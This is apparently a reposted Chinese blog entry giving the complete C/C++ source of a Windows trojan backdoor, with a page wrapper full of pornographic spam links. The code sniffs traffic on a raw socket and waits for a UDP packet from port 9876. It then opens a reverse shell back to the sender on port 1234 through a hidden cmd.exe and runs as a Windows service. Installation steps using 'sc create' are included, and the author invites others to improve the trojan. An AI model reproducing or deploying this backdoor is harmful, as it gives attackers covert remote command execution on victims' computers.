日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

headerf.h

發(fā)布時間:2025/3/15 编程问答 36 豆豆
生活随笔 收集整理的這篇文章主要介紹了 headerf.h 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
headerf.h

這里面放了公共函數(shù),還有一些聲明
代碼

#ifndef _BDH_
#define _BDH_
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#pragma comment(lib,"ws2_32.lib")
#define SIO_RCVALL ?_WSAIOW(IOC_VENDOR,1)

typedef struct _iphdr{
unsigned char h_lenver;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_frag;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
}IP_HEADER;

typedef struct _udphdr{
unsigned short uh_sport;
unsigned short uh_dport;
unsigned short uh_len;
unsigned short uh_sum;
}UDP_HEADER;



extern int StartSniffer();
extern void StartWSA();
extern void returnMessage(SOCKET *Sock,char *msg);
extern void CreatePipeInSock();
extern int SetSocketHandle(SOCKET *Sock);
extern int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr);

#endif



這里就是sniffer...這個sniffer只解析IP和UDP包。。。通過對UDP的解析來啟動木馬進程.
對于UDP解析來啟動木馬這塊還沒有怎么完善。只是很簡單的。。。等待大家來補充了。。

最好解析UDP來提取內(nèi)容。判斷用戶名。密碼。然后啟動木馬進程
sniffer.cpp
代碼


#include "headerf.h"
//---------------------------------------------------------------------------

//-----------------------------
char rcvbuf[65535];
SOCKADDR_IN siSource;
extern SOCKET ReSock;
char SourceIPAddr[16];
unsigned short SourcePort;
bool CanCon=true;
char WelcomeBuff[200] = "++++++++++++++++++++++++++++++++++++/r/n"
? "+EasyService ?BackDoor/r/n"
? "+Coder By weibo(wbwap@sina.com)/r/n"
? "+Site ?http://www.s8s8.net/r/n"
? "++++++++++++++++++++++++++++++++++++/r/n";
//-----------------------------
void DecodeIpPack(char *buf,int irec);
void DecodeUdpPack(char *buf,unsigned int buflen);
int msGetip(char *ipin, char* ipout);
void StartBackDoor(SOCKET *Sock,char *IPaddr);
//------------------------------
int StartSniffer()
{
? ? ? ?SOCKET SniffSock;
? ? ? ?struct sockaddr_in addr;
? ? ? ?unsigned char LocalName[256];
? ? ? ?struct hostent * hp;
? ? ? ?int ntime=1000;
? ? ? ?int rec;
? ? ? ?DWORD dwBufferLen[10];
? ? ? ?DWORD dwBufferInLen = 1;
? ? ? ?DWORD dwBytesReturned = 0;
? ? ? ?char in[20]="",out[20]="";
? ? ? ?StartWSA();
? ? ? ?SniffSock = socket(AF_INET,SOCK_RAW,IPPROTO_IP);
? ? ? ?setsockopt(SniffSock,SOL_SOCKET,SO_RCVTIMEO,(char*)&ntime,sizeof(ntime));
? ? ? ?addr.sin_family = AF_INET;
? ? ? ?addr.sin_port = INADDR_ANY;
? ? ? ?msGetip(in,out);
? ? ? ?addr.sin_addr.S_un.S_addr = inet_addr(out);
? ? ? ?bind(SniffSock,(PSOCKADDR)&addr, sizeof(addr));
? ? ? ?WSAIoctl(SniffSock,SIO_RCVALL,&dwBufferInLen,sizeof(dwBufferInLen),&dwBufferLen,sizeof(dwBufferLen),&dwBytesReturned ,NULL ,NULL);
? ? ? ?while(1)
? ? ? ?{
? ? ? ? ? ? ? ?memset(rcvbuf,0,sizeof(rcvbuf));
? ? ? ? ? ? ? ?rec = recv(SniffSock,rcvbuf,sizeof(rcvbuf),0);
? ? ? ? ? ? ? ?DecodeIpPack(rcvbuf,rec);


? ? ? ?}
}
//---------------------------------------------------------------------------
void DecodeIpPack(char *buf,int irec)
{
? ? ? ?int iproto;
? ? ? ?int iIphlen;
? ? ? ?IP_HEADER *pIPheader;
? ? ? ?pIPheader = (IP_HEADER *)buf;
? ? ? ?iproto=pIPheader->proto;
? ? ? ?iIphlen = sizeof(unsigned long) * (pIPheader->h_lenver & 0xf);

? ? ? ?if (iproto == IPPROTO_UDP)
? ? ? ?{
? ? ? ? ? ? ? ?siSource.sin_addr.s_addr = pIPheader->sourceIP;
? ? ? ? ? ? ? ?strncpy(SourceIPAddr,inet_ntoa(siSource.sin_addr),16);
? ? ? ? ? ? ? ?//printf("包類型:%s/n源IP:%s ? ","UDP",SourceIPAddr);
? ? ? ? ? ? ? ?DecodeUdpPack(buf+iIphlen,irec);
? ? ? ?}

}

void DecodeUdpPack(char *buf,unsigned int buflen)
{
? ? ? ?char str[10];
? ? ? ?UDP_HEADER *pUdpheader;
? ? ? ?pUdpheader=(UDP_HEADER *)buf;
? ? ? ?siSource.sin_port = pUdpheader->uh_sport;
? ? ? ?SourcePort=ntohs(siSource.sin_port);

//這個地方就是判斷是否啟動進程的地方!!!!!!!!!!!!!!!!!!!
//這里是 如果塬端口為9876 才會起動木馬進程。。連接你的1234斷口 ? 這些都可以改
//最好的方法是Decode UDP包。。然后分析內(nèi)容。。。作判斷是否打開木馬。。。。
//沒時間了。。。。

? ? ? ?if(CanCon)
? ? ? ?{
? ? ? ? ? ? ? ?if(SourcePort == 9876)
? ? ? ? ? ? ? ?{
? ? ? ? ? ? ? ? ? ? ? ?StartBackDoor(&ReSock,SourceIPAddr);
? ? ? ? ? ? ? ?}
? ? ? ? ? ? ? ?CanCon=false;
? ? ? ?}
}


int msGetip(char *ipin, char* ipout)
{
? char cHostName[80]="";
? if((gethostname(cHostName, 80)) == SOCKET_ERROR)
? ? ? return false;
? struct hostent *Host = gethostbyname(cHostName);
? if(NULL!=Host){
? ? ? struct in_addr addr;
? ? ? int i = 0;
? ? ? while(Host->h_addr_list[i] != NULL){
? ? ? ? ? memcpy(&addr, Host->h_addr_list[i], sizeof(addr));
? ? ? ? ? if(addr.S_un.S_un_b.s_b1 == 192 && addr.S_un.S_un_b.s_b2 == 168){
? ? ? ? ? ? ? if(strlen(ipin) == 0){
? ? ? ? ? ? ? ? ? strcpy(ipin, inet_ntoa(addr));
? ? ? ? ? ? ? }
? ? ? ? ? }else if(addr.S_un.S_un_b.s_b1 == 172 && (addr.S_un.S_un_b.s_b2 >= 16 && addr.S_un.S_un_b.s_b2 <= 131)){
? ? ? ? ? ? ? if(strlen(ipin) == 0){
? ? ? ? ? ? ? ? ? strcpy(ipin, inet_ntoa(addr));
? ? ? ? ? ? ? }
? ? ? ? ? }else if(addr.S_un.S_un_b.s_b1 == 10 ){
? ? ? ? ? ? ? if(strlen(ipin) == 0){
? ? ? ? ? ? ? ? ? strcpy(ipin, inet_ntoa(addr));
? ? ? ? ? ? ? }
? ? ? ? ? }else{
? ? ? ? ? ? ? if(strlen(ipout) == 0){
? ? ? ? ? ? ? ? ? strcpy(ipout, inet_ntoa(addr));
? ? ? ? ? ? ? }
? ? ? ? ? }
? ? ? ? ? i++;
? ? ? }
? ? ? if(strlen(ipout) == 0) {
? ? ? ? ? strcpy(ipout, ipin);
? ? ? }
? ? ? if(strlen(ipin) == 0){
? ? ? ? ? strcpy(ipin, ipout);
? ? ? }
? ? ? return 1;
? }
? return 0;
}

void StartBackDoor(SOCKET *Sock,char *IPaddr)
{
? ? ? ?int rec;
//StartWSA();
? ? ? ?SetSocketHandle(Sock);
? ? ? ?rec = ContoReServer(Sock,1234,IPaddr);
? ? ? ?returnMessage(Sock,WelcomeBuff);
? ? ? ?CreatePipeInSock();
switch(rec)
{
?case 0:
? closesocket(ReSock);
? CanCon = true;
? break;
?case 1:
? CanCon = false;
? break;
}
}



這就是服務(wù)的主體。。。。。。。

本來還有個自動加為服務(wù)的功能。。。沒時間了,馬上走了。收拾東西去。。~~~~ZV來寫吧。。。。
可以用 CreateService()函數(shù)。。
服務(wù)這塊需要大家來改進~~

con.cpp
代碼


#include "headerf.h"
//---------------------------------------------------------------------------
STARTUPINFO si;
PROCESS_INFORMATION pi;
SOCKET ReSock;
//-------------------------------

//---------------------------
void StartWSA()
{
? ? ? ?WSADATA wsa;
? ? ? ?
? ? ? ?WSAStartup(MAKEWORD(2,2),&wsa);
}

int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr)
{
? int namelen;
? struct sockaddr_in server_addr;
? server_addr.sin_family = AF_INET;
? server_addr.sin_port ? = htons(port);
? server_addr.sin_addr.S_un.S_addr = inet_addr(reAddr);
? namelen = sizeof(server_addr);
? if(connect(*sock, (SOCKADDR *)&server_addr,namelen) < 0 )
? ? ? return 0;
? return 1;
}

int SetSocketHandle(SOCKET *Sock)
{
? *Sock = WSASocket(PF_INET,SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
? if(*Sock == SOCKET_ERROR)
? ? ? return 0;
? return 1;
}


void returnMessage(SOCKET *Sock,char *msg)
{
? if (strlen(msg) <= 0)
? ? ? return;
? send(*Sock,msg,strlen(msg),0);
}
//下面這個是重訂向si到Resock....等于一個簡單的管道。。
//沒太多時間。為了省事。。能實現(xiàn)cmd.
//最好能改寫成管道CreatePipe()..
//這樣可以對數(shù)據(jù)進行分析。。以便加入別的控制。。。。。。
void CreatePipeInSock()
{
? ? ? ?memset(&si, 0, sizeof(si));
? ? ? ?si.cb = sizeof(si);
? ? ? ?si.dwFlags = STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES;
? ? ? ?si.wShowWindow=SW_HIDE;
? ? ? ?si.hStdInput = si.hStdOutput = si.hStdError = (void *)ReSock;
? ? ? ?CreateProcess(NULL,"cmd.exe",NULL,NULL, TRUE, 0,0, NULL, &si, &pi );
}


backdoor.cpp
代碼

#include "headerf.h"
//---------------------------------------------------------------------------
const int c_nEventCt = 3;
const int c_nEventIndexPause = 0;
const int c_nEventIndexContinue = 1;
const int c_nEventIndexStop = 2;
HANDLE g_arEventControl[c_nEventCt];
SERVICE_STATUS_HANDLE g_ssh;
DWORD g_dwStatus = SERVICE_STOPPED;
#pragma argsused
//服務(wù)狀態(tài)給SCM
void SetStatus(DWORD dwStatus)
{
? ? ? ?SERVICE_STATUS ss =
? ? ? ? ? ? ? ?{
? ? ? ? ? ? ? ? ? ? ? ?SERVICE_WIN32_OWN_PROCESS,
? ? ? ? ? ? ? ? ? ? ? ?SERVICE_STOPPED,
? ? ? ? ? ? ? ? ? ? ? ?SERVICE_ACCEPT_PAUSE_CONTINUE|
? ? ? ? ? ? ? ? ? ? ? ?SERVICE_ACCEPT_STOP,
? ? ? ? ? ? ? ? ? ? ? ?NO_ERROR,
? ? ? ? ? ? ? ? ? ? ? ?0,
? ? ? ? ? ? ? ? ? ? ? ?1,
? ? ? ? ? ? ? ? ? ? ? ?5000
? ? ? ? ? ? ? ?};
? ? ? ?ss.dwCurrentState = dwStatus;
? ? ? ?SetServiceStatus(g_ssh,&ss);
? ? ? ?g_dwStatus = dwStatus;
}

//命令處理
VOID __stdcall Handler(DWORD dwCtl)
{
? ? ? ?switch(dwCtl)
? ? ? ?{
? ? ? ? ? ? ? ?case SERVICE_CONTROL_STOP:
? ? ? ? ? ? ? ? ? ? ? WSACleanup();
? ? ? ? ? ? ? ? ? ? ? ?break;

? ? ? ? ? ? ? ?default:
? ? ? ? ? ? ? ? ? ? ? ?//nomal
? ? ? ? ? ? ? ? ? ? ? ?break;
? ? ? ?}
}

bool HandleControl()
{
? ? ? ?bool bContinueRunning(true);

? ? ? ?DWORD dwWait = WaitForMultipleObjects(
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?c_nEventCt,
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?g_arEventControl,
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?FALSE,
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?0
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?);
? ? ? ?int nIndex = dwWait - WAIT_OBJECT_0;
? ? ? ?if(nIndex>=0 && nIndex<c_nEventCt)
? ? ? ?{
? ? ? ? ? ? ? ?ResetEvent(g_arEventControl[nIndex]);

? ? ? ? ? ? ? ?switch(nIndex)
? ? ? ? ? ? ? ?{
? ? ? ? ? ? ? ? ? ? ? ?case c_nEventIndexPause:
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?SetStatus(SERVICE_PAUSED);
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?break;
? ? ? ? ? ? ? ? ? ? ? ?case c_nEventIndexContinue:
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?SetStatus(SERVICE_RUNNING);
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?break;
? ? ? ? ? ? ? ? ? ? ? ?case c_nEventIndexStop:
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?SetStatus(SERVICE_STOP_PENDING);
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?bContinueRunning = false;
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?break;
? ? ? ? ? ? ? ?}
? ? ? ?}
? ? ? ?return (bContinueRunning);
}

VOID __stdcall ServiceMain(DWORD dwArgc,LPSTR* lpszArgv)
{
? ? ? ?g_arEventControl[c_nEventIndexPause] = CreateEvent(NULL,TRUE,FALSE,NULL);
? ? ? ?g_arEventControl[c_nEventIndexContinue] = CreateEvent(NULL,TRUE,FALSE,NULL);
? ? ? ?g_arEventControl[c_nEventIndexStop] = CreateEvent(NULL,TRUE,FALSE,NULL);

? ? ? ?g_ssh = RegisterServiceCtrlHandler(lpszArgv[0],Handler);

? ? ? ?SetStatus(SERVICE_START_PENDING);
? ? ? ?SetStatus(SERVICE_RUNNING);

? ? ? ?while(HandleControl())
? ? ? ?{
? ? ? ? ? ? ? ?if(g_dwStatus == SERVICE_RUNNING)
? ? ? ? ? ? ? ?{

? ? ? ? ? ? ? ? ? ? ? ?StartSniffer();

? ? ? ? ? ? ? ?}

? ? ? ?}

? ? ? ?for(int nEvent = 0;nEvent < c_nEventCt;++nEvent)
? ? ? ?{
? ? ? ? ? ? ? ?CloseHandle(g_arEventControl[nEvent]);
? ? ? ? ? ? ? ?g_arEventControl[nEvent] = INVALID_HANDLE_VALUE;

? ? ? ?}

? ? ? ?SetStatus(SERVICE_STOPPED);
}

int __stdcall WinMain(
? ? ? ? ? ? ? ? ? ? ? ?HINSTANCE hInstance,
? ? ? ? ? ? ? ? ? ? ? ?HINSTANCE hPrevInstance,
? ? ? ? ? ? ? ? ? ? ? ?LPSTR lpszCmdLine,
? ? ? ? ? ? ? ? ? ? ? ?int nCmdShow
? ? ? ? ? ? ? ? ? ? ? ?)
{
? ? ? ?SERVICE_TABLE_ENTRY arSvc[] =
? ? ? ?{
? ? ? ? ? ? ? ?{"ConEvent",ServiceMain},
? ? ? ? ? ? ? ?{NULL,NULL}
? ? ? ?};

? ? ? ?StartServiceCtrlDispatcher(arSvc);
return 0;
}




手動加為服務(wù)

編譯好后
進入cmd

運行 sc create 隨便一個名字 binpath= path

例子: sc create BackDoor binpath= c:/backdoor.exe


這個很草。。。。。。等我度過軍訓(xùn)。有時間了。。回來再寫~~~~88


附件是我用bcb6寫的。。。

總結(jié)

以上是生活随笔為你收集整理的headerf.h的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 亚洲精品国产一区二区 | 国产熟女一区二区三区五月婷 | 亚洲乱色熟女一区二区三区 | 少妇饥渴放荡91麻豆 | 成人小说亚洲一区二区三区 | 好色视频tv | 欧美色图自拍 | 欧美激情视频在线 | 99久久久无码国产精品性青椒 | wwwxxx在线观看 | 原创真实夫妻啪啪av | 啪啪免费视频网站 | 欧美综合专区 | 波多野结衣激情视频 | 精品自拍偷拍视频 | 狠狠操五月天 | 亚洲色图p| 91久久精品无码一区二区 | 国产日韩第一页 | 国产经典av | 免费av免费观看 | 69xxxx国产| 久草视频在线播放 | 成人第一页| www.五月婷| 国产自产一区二区 | 国产成人综合久久 | 99国产精品久久久久 | 色姑娘天天操 | 久久国产精品无码网站 | 日韩一二三区视频 | 久久一二 | 精品无码黑人又粗又大又长 | 波多野结衣啪啪 | 亚洲欧美一区二区在线观看 | 麻豆久久久9性大片 | 91精品国产色综合久久不卡粉嫩 | 国内成人精品视频 | 欧美一级黑人 | 九九亚洲 | 精品国产无码一区二区 | 日本欧美一区 | 精品免费一区 | 美女福利一区 | 色欲av无码一区二区三区 | 国产人妻人伦精品1国产丝袜 | v在线 | 99riAv国产精品无码鲁大师 | 污网站在线播放 | 亚欧成人精品 | 黄色免费国产 | 男人的天堂视频网站 | 德国老妇性猛交 | 依人久久 | 久久精品无码Av中文字幕 | 国产精品久久久久无码av | 桃色网站在线观看 | 久久色在线 | 日本大乳美女 | 国产视频www | 黄色网免费| 国产日韩欧美视频在线 | 波多野结衣av无码 | 欧美日韩乱 | 国产欧美日韩精品区一区二污污污 | 成人免费毛片东京热 | 涩涩在线看 | 亚洲AV无码精品色毛片浪潮 | 免费a级网站 | 精品国产va久久久久久久 | 欧美色综合网 | 黄网视频在线观看 | 夜夜嗨一区二区三区 | 午夜精品久久久久久久91蜜桃 | 久久影院午夜理论片无码 | 日韩av在线免费播放 | 欧美性做爰猛烈叫床潮 | 婷婷激情五月网 | 超碰91在线 | 欧美日韩综合一区 | 精品一区二区人妻 | 日本一区二区人妻 | 国产又粗又猛又爽又黄的视频在线观看动漫 | 又粗又大又硬毛片免费看 | 日韩wwww | 国产伦精品一区二区三区免.费 | 三级av网站 | 91视频入口 | 波多野结衣欲乱上班族 | 日韩中文字幕在线不卡 | av激情久久 | 十大污网站 | 这里只有精品在线播放 | 成人不卡视频 | 99久久久无码国产精品性色戒 | 久久色视频 | 欧美色图亚洲激情 | 美女精品一区二区 | 麻豆影视在线免费观看 |